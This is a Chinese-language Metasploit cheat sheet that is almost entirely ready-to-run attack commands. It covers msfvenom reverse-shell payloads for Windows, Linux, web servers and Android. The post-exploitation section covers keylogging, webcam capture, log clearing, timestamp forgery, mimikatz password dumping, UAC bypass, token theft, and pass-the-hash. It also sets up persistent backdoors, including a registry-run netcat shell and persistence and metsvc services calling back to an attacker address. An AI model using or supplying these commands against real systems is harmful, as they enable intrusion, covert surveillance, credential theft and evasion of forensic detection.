Windows · Linux

Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe > 保存路径/文件名

Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f elf > 保存路径/文件名

Web

  • PHP:

    msfvenom -p php/meterpreter_reverse_tcp lhost=[你的IP] lport=[端口] -f raw > 保存路径/文件名.php
  • ASP:

    msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f asp > 保存路径/文件名.asp
  • JSP:

    msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[端口] -f raw > 保存路径/文件名.jsp
  • WAR:

    msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[端口] -f war > 保存路径/文件名.war

Android

Android:
msfvenom -p android/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -o 保存路径/文件名.apk

0x01 msfvenom命令参数:

  • -p, --payload <payload>: 指定需要使用的payload(攻击荷载)
  • -l, --list [module_type]: 列出指定模块的所有可用资源.
  • -n, --nopsled <length>: 为payload预先指定一个NOP滑动长度
  • -f, --format <format>: 指定输出格式
  • -e, --encoder [<encoder>]: 指定需要使用的encoder(编码器)
  • -a, --arch <architecture>: 指定payload的目标架构
  • --platform <platform>: 指定payload的目标平台
  • -s, --space <length>: 设定有效攻击荷载的最大长度
  • -b, --bad-chars <list>: 设定规避字符集
  • -i, --iterations <count>: 指定payload的编码次数
  • -c, --add-code <path>: 指定一个附加的win32 shellcode文件
  • -x, --template <path>: 指定一个自定义的可执行文件作为模板
  • -k, --keep: 保护模板程序的动作,注入的payload作为一个新的进程运行
  • --payload-options: 列举payload的标准选项
  • -o, --out <path>: 保存payload
  • -v, --var-name <name>: 指定一个自定义的变量,以确定输出格式
  • --shellest: 最小化生成payload
  • -h, --help: 查看帮助选项
  • --help-formats: 查看msf支持的输出格式列表

0x02 常用系统命令

  • sessions: 查看会话
  • sessions -i <ID值>: 进入会话
  • background: 将当前会话放置后台
  • run: 执行已有的模块
  • info: 查看已有模块信息
  • getuid: 查看权限
  • getpid: 获取当前进程的pid
  • sysinfo: 查看目标机系统信息
  • ps: 查看当前活跃进程
  • kill <PID值>: 杀死进程
  • idletime: 查看目标机闲置时间
  • reboot / shutdown: 重启/关机
  • shell: 进入目标机cmd shell

uictl开关键盘/鼠标

uictl [enable/disable] [keyboard/mouse/all]
uictl disable mouse
uictl disable keyboard

webcam摄像头命令

webcam_list
webcam_snap
webcam_stream

execute执行文件

execute
execute -H -i -f cmd.exe

migrate进程迁移

getpid
ps
migrate <pid值>
kill <pid값>

clearev清除日志

clearev

文件类命令

基本文件系统命令

getwd 或者 pwd
ls
cd search -f *pass* -h查看帮助
cat c:\\lltest\\lltestpasswd.txt
upload /tmp/hack.txt C:\\lltest
download c:\\lltest\\lltestpasswd.txt /tmp/
edit c:\\1.txt
rm C:\\lltest\\hack.txt mkdir lltest2
rmdir lltest2
getlwd 或者 lpwd
lcd /tmp

timestomp伪造时间戳

timestomp C:// -h
timestomp -v C://2.txt
timestomp C://2.txt -f C://1.txt

网络类命令

基本网络命令

ipconfig/ifconfig
netstat–ano
arp
getproxy #查看代理信息 route #查看路由

portfwd端口转发

portfwd add -l 6666 -p 3389 -r 127.0.0.1

autoroute添加路由

run autoroute –h
run autoroute -s 192.168.159.0/24
run autoroute –p

利用arp_scanner、portscan等进行扫描

run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.144 PORTS=3389

Socks4a代理

autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理
msf> use auxiliary/server/socks4a
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run
然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
最后proxychains 使用Socks4a代理访

信息收集

信息收集的脚本位于:

/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

信息收集的脚本较多,仅列几个常用的:

run post/windows/gather/checkvm
run post/linux/gather/checkvm
run post/windows/gather/forensics/enum_drives
run post/windows/gather/enum_applications
run post/windows/gather/dumplinks
run post/windows/gather/enum_ie
run post/windows/gather/enum_chrome
run post/windows/gather/enum_patches
run post/windows/gather/enum_domain

提权

getsystem提权

getsystem

bypassuac

内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs use windows/local/ask
如使用bypassuac.rb脚本:
msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run

内核漏洞提权

可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权
meterpreter > run post/windows/gather/enum_patches #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

mimikatz抓取密码

load mimikatz #help mimikatz 查看帮助
wdigest #获取Wdigest密码
mimikatz_command -f samdump::hashes #执行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords

远程桌面&截屏

enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接

开启rdp&添加用户

getgui命令

run getgui –h #查看帮助
run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456 #添加用户
run getgui -f 6661 –e #3389端口转发到6661
getgui 系统不推荐,推荐使用run post/windows/manage/enable_rdp
getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆

enable_rdp脚本

run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662

键盘记录

keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录

sniffer抓包

use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
sniffer_stop 2 #停止抓包

注册表操作

reg –h
-d 注册表中值的数据. -k 注册表键路径 -v 注册表键名称
enumkey 枚举可获得的键 setval 设置键值 queryval 查询键值数据

注册表设置nc后门

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看键值
nc -v 192.168.159.144 443 #攻击者连接nc后门

令牌操纵

incognito假冒令牌

use incognito #help incognito 查看帮助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token 或者impersonate_token
NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t # -t 使用假冒的token 执行 或者直接shell
rev2self #返回原始token

steal_token窃取令牌

steal_token <pid값> #从指定进程中窃取token 先ps drop_token #删除窃取的token

哈希利用

获取哈希

run post/windows/gather/smart_hashdump #从SAM导出密码哈希
#需要SYSTEM权限

PSExec哈希传递

通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击
前提条件:①开启445端口 smb服务;②开启admin$共享
msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain WORKGROUP #域用户需要设置SMBDomain
msf >exploit

添加后门维权

metasploit自带的后门有两种方式启动的,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc),另外还可以通过persistence_exe自定义后门文件。

persistence启动项后门

在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项
run persistence –h #查看帮助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip
连接后门
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit

metsvc服务后门

在C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter
run metsvc –h # 查看帮助 run metsvc –A #自动安装后门
连接后门
msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit